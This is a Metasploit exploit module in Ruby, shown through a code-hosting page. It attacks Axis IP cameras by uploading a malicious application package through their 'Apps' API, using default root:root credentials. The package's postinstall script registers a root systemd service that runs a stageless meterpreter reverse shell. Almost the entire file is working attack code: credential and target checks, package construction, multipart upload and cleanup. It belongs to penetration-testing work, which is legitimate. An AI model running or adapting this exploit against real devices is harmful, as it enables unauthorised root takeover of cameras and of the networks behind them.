Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/axis_app_install.rb
31348 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::CmdStager
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Axis IP Camera Application Upload',
19
'Description' => %q{
20
This module exploits the "Apps" feature in Axis IP cameras. The feature allows third party
21
developers to upload and execute 'eap' applications on the device. The system does not validate
22
the application comes from a trusted source, so a malicious attacker can upload and execute
23
arbitrary code. The issue has no CVE, although the technique was made public in 2018.
24
25
This module uploads and executes stageless meterpreter as `root`. Uploading the application
26
requires valid credentials. The default administrator credentials used to be `root:root` but
27
newer firmware versions force users to provide a new password for the `root` user.
28
29
The module was tested on an Axis M3044-V using the latest firmware (9.80.3.8: December 2021).
30
Although all modules that support the "Apps" feature are presumed to be vulnerable.
31
},
32
'License' => MSF_LICENSE,
33
'Author' => [
34
'jbaines-r7' # Discovery and Metasploit module
35
],
36
'References' => [
37
[ 'URL', 'https://www.tenable.com/blog/tenable-research-advisory-axis-camera-app-malicious-package-distribution-weakness'],
38
[ 'URL', 'https://www.axis.com/support/developer-support/axis-camera-application-platform']
39
],
40
'DisclosureDate' => '2018-04-12',
41
'Privileged' => true,
42
'Targets' => [
43
[
44
'Linux Dropper',
45
{
46
'Platform' => 'linux',
47
'Arch' => [ARCH_ARMLE],
48
'Type' => :linux_dropper,
49
'Payload' => {},
50
'DefaultOptions' => {
51
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' # Use stagless payloads until issue 16107 gets addressed to fix the ARMLE stager
52
}
53
}
54
]
55
],
56
'DefaultTarget' => 0,
57
'DefaultOptions' => {
58
'RPORT' => 80,
59
'SSL' => false
60
},
61
'Notes' => {
62
'Stability' => [CRASH_SAFE],
63
'Reliability' => [REPEATABLE_SESSION],
64
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
65
}
66
)
67
)
68
register_options([
69
OptString.new('TARGETURI', [true, 'Base path', '/']),
70
OptString.new('USERNAME', [true, 'The username to authenticate with', 'root']),
71
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'root'])
72
])
73
end
74
75
# Check function will attempt to verify:
76
#
77
# 1. The provided credentials work for authentication
78
# 2. The remote target is an axis camera
79
# 3. The applications API exists.
80
#
81
def check
82
# grab the brand/model. Shouldn't require authentication.
83
res = send_request_cgi({
84
'method' => 'GET',
85
'uri' => normalize_uri(target_uri.path, '/axis-cgi/prod_brand_info/getbrand.cgi')
86
})
87
88
return CheckCode::Unknown unless res && (res.code == 200)
89
90
body_json = res.get_json_document
91
return CheckCode::Unknown if body_json.empty? || body_json.dig('Brand', 'ProdShortName').nil?
92
93
# The brand / model are now known
94
check_comment = "The target reports itself to be a '#{body_json.dig('Brand', 'ProdShortName')}'."
95
96
# check to see if the applications api exists (also tests credentials)
97
res = send_request_cgi({
98
'method' => 'GET',
99
'username' => datastore['USERNAME'],
100
'password' => datastore['PASSWORD'],
101
'uri' => normalize_uri(target_uri.path, '/axis-cgi/applications/list.cgi')
102
})
103
104
# A strange edge case where there is no response... respond detected
105
return CheckCode::Detected unless res
106
# Respond safe if credentials fail, to prevent the exploit from running
107
return CheckCode::Safe('The user provided credentials did not work.') if res.code == 401
108
# Assume any non-200 means the API doesn't exist
109
return CheckCode::Safe(check_comment) if res.code != 200
110
111
# This checks for an XML response which I'm not sure is smart considering most of the device
112
# does JSON replies... the concerning being that this response has changed in newer models
113
return CheckCode::Safe(check_comment) unless res.body.include?('<reply result="ok">') != 200
114
115
CheckCode::Appears(check_comment)
116
end
117
118
# Creates a malicious "eap" application. The package application will gain execution
119
# through the postinstall script. The script, which executes as a systemd oneshot, will
120
# create and execute a new service for the payload. We have to do this because the oneshot
121
# child processes will be terminated when the main binary exits. Executing the payload from
122
# a new service gets around that issue.
123
#
124
# The eap registers as a "lua" apptype, because the binary version (armv7hf) gets checked
125
# for some required libraries whereas the lua version is just accepted.
126
#
127
# The construction of the eap follows this pattern:
128
# * tar -cf exploit payload package.conf postinstall.sh payload.service
129
# * gzip exploit
130
# * mv exploit.gz exploit.eap
131
def create_eap(payload, appname)
132
print_status("Creating an application package named: #{appname}")
133
script_name = "#{Rex::Text.rand_text_alpha_lower(3..8)}.sh"
134
135
package_conf = "PACKAGENAME='#{Rex::Text.rand_text_alpha(4..14)}'\n" \
136
"APPTYPE='lua'\n" \
137
"APPNAME='#{appname}'\n" \
138
"APPID='48#{Rex::Text.rand_text_numeric(3)}'\n" \
139
"APPMAJORVERSION='#{Rex::Text.rand_text_numeric(1)}'\n" \
140
"APPMINORVERSION='#{Rex::Text.rand_text_numeric(1..2)}'\n" \
141
"APPMICROVERSION='#{Rex::Text.rand_text_numeric(1..3)}'\n" \
142
"APPGRP='root'\n" \
143
"APPUSR='root'\n" \
144
"POSTINSTALLSCRIPT='#{script_name}'\n" \
145
"STARTMODE='respawn'\n"
146
147
# this sync, sleep, cp, sleep pattern is not optimal, but the underlying
148
# filesystem was taking time to catch up to the exploit (and mounting and
149
# unmounting itself which is just weird) and this seemed like a reasonable,
150
# if not hacky, way to give it a chance to catch up. Seems to work well.
151
start_service =
152
"#!/bin/sh\n"\
153
"\nsync\n"\
154
"\nsleep 2\n"\
155
"\ncp ./#{appname}.service /etc/systemd/system/\n" \
156
"\nsleep 2\n"\
157
"\nsystemctl start #{appname}\n"
158
159
# only register the service file for deletion. Everything else will be
160
# deleted by the uninstall function called later.
161
register_file_for_cleanup("/etc/systemd/system/#{appname}.service")
162
163
service =
164
"[Unit]\n"\
165
"Description=\n"\
166
"[Service]\n"\
167
"Type=simple\n"\
168
"User=root\n"\
169
"ExecStart=/usr/local/packages/#{appname}/#{appname}\n"\
170
"\n"\
171
"[Install]\n"\
172
"WantedBy=multi-user.target\n"
173
174
tarfile = StringIO.new
175
Rex::Tar::Writer.new tarfile do |tar|
176
tar.add_file('package.conf', 0o644) do |io|
177
io.write package_conf
178
end
179
tar.add_file(script_name.to_s, 0o755) do |io|
180
io.write start_service
181
end
182
tar.add_file(appname.to_s, 0o755) do |io|
183
io.write payload
184
end
185
tar.add_file("#{appname}.service", 0o644) do |io|
186
io.write service
187
end
188
end
189
tarfile.rewind
190
tarfile.close
191
192
Rex::Text.gzip(tarfile.string)
193
end
194
195
# Upload the malicious EAP application for a root shell. Always attempt to uninstall the application
196
def exploit
197
appname = Rex::Text.rand_text_alpha_lower(3)
198
eap = create_eap(payload.encoded, appname)
199
200
# Instruct the application to install the constructed EAP
201
multipart_form = Rex::MIME::Message.new
202
multipart_form.add_part('{"apiVersion":"1.0","method":"install"}', 'application/json', nil, 'form-data; name="data"; filename="blob"')
203
multipart_form.add_part(eap, 'application/octet-stream', 'binary', "form-data; name=\"fileData\"; filename=\"#{appname}.eap\"")
204
205
install_endpoint = normalize_uri(target_uri.path, '/axis-cgi/packagemanager.cgi')
206
print_status("Sending an application upload request to #{install_endpoint}")
207
res = send_request_cgi({
208
'method' => 'POST',
209
'username' => datastore['USERNAME'],
210
'password' => datastore['PASSWORD'],
211
'uri' => install_endpoint,
212
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
213
'data' => multipart_form.to_s
214
})
215
216
# check for successful installation
217
fail_with(Failure::Disconnected, 'Connection failed') unless res
218
fail_with(Failure::UnexpectedReply, "HTTP status code is not 200 OK: #{res.code}") unless res.code == 200
219
body_json = res.get_json_document
220
fail_with(Failure::UnexpectedReply, 'Missing JSON response') if body_json.empty?
221
# {"apiVersion"=>"1.4", "method"=>"install", "error"=>{"code"=>60, "message"=>"Failed to install acap"}}
222
fail_with(Failure::UnexpectedReply, 'The target responded with a JSON error') unless body_json['error'].nil?
223
224
# syncing the unstaged meterpreter payload seems to take a little bit for the poor little
225
# embedded filesystem. Give it a chance to sync up before we try to remove the application.
226
print_good('Application installed. Pausing 5 seconds to let the filesystem sync.')
227
sleep(5)
228
ensure
229
uninstall_endpoint = normalize_uri(target_uri.path, '/axis-cgi/applications/control.cgi')
230
print_status("Sending a delete application request to #{uninstall_endpoint}")
231
res = send_request_cgi({
232
'method' => 'GET',
233
'username' => datastore['USERNAME'],
234
'password' => datastore['PASSWORD'],
235
'uri' => uninstall_endpoint,
236
'vars_get' => {
237
'action' => 'remove',
238
'package' => appname.to_s
239
}
240
})
241
242
# instructions for manually removal if the above fails. That should never happen, but best be safe.
243
removal_instructions = 'To manually remove the application, log in to the system and then select the apps tab. ' \
244
"Find the app named '#{appname}' and select it. Click the trash bin icon to uninstall it."
245
246
# check for successful removal
247
print_bad("The server did not respond to the application deletion request. #{removal_instructions}") unless res
248
print_bad("The server did not respond with 200 OK to the application deletion request. #{removal_instructions}") unless res.code == 200
249
print_bad("The application deletion response did not contain the expected body. #{removal_instructions}") unless res.body.include?('OK')
250
print_good("The application #{appname} was successfully removed from the target!")
251
end
252
end
253
254